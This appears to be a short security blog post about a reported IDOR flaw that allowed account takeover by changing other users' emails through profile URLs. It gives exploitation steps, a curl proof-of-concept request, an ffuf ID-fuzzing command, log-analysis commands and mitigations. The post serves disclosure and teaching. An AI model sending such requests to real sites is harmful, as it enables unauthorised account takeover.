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A critical Broken Access Control vulnerability was discovered in a VDP program, allowing an attacker to compromise 15+ user accounts by manipulating profile URLs. The flaw enabled unauthorized email changes, leading to full account takeover without user interaction.
You Should Know:
Exploitation Steps
- URL Manipulation: Identify sequential or predictable user IDs in profile URLs (e.g., `https://example.com/profile?id=1001`).
- Bypass Authorization: Send a crafted PUT/POST request to modify user details (e.g., email).
- Account Takeover: Confirm email change via verification link sent to the attacker’s inbox.
Proof of Concept (PoC) Code
curl -X PUT 'https://vulnerable-site.com/api/profile/1001' \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]"}'
Detection & Mitigation
- Test for IDOR: Use Burp Suite or OWASP ZAP to fuzz user IDs:
ffuf -u "https://site.com/profile?id=FUZZ" -w user_ids.txt
- Implement Access Controls: Enforce role-based checks on backend APIs.
- Rate Limiting: Restrict repeated email-change requests.
Linux Commands for Recon
- Extract User IDs from logs:
grep "profile?id=" access.log | cut -d "=" -f 2 | sort -u
- Monitor Suspicious Activity:
tail -f /var/log/auth.log | grep "Failed"
Windows Command for Log Analysis
Get-EventLog -LogName Security -InstanceId 4625 -After (Get-Date).AddHours(-1)
What Undercode Say
This exploit highlights the dangers of Insecure Direct Object References (IDOR) and poor session validation. Always:
1. Use UUIDs instead of sequential IDs.
2. Implement JWT/OAuth for endpoint authorization.
3. Audit APIs with OpenAPI/Swagger.
Prediction
As APIs grow, IDOR flaws will surge—automated scanning tools like Burp API Security will become essential.
Expected Output:
- 15+ accounts compromised via IDOR.
- Patch deployed after responsible disclosure.
- Ethical hacking reinforces security.
Relevant URL: OWASP IDOR Prevention
References:
Reported By: Aryan Parmar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
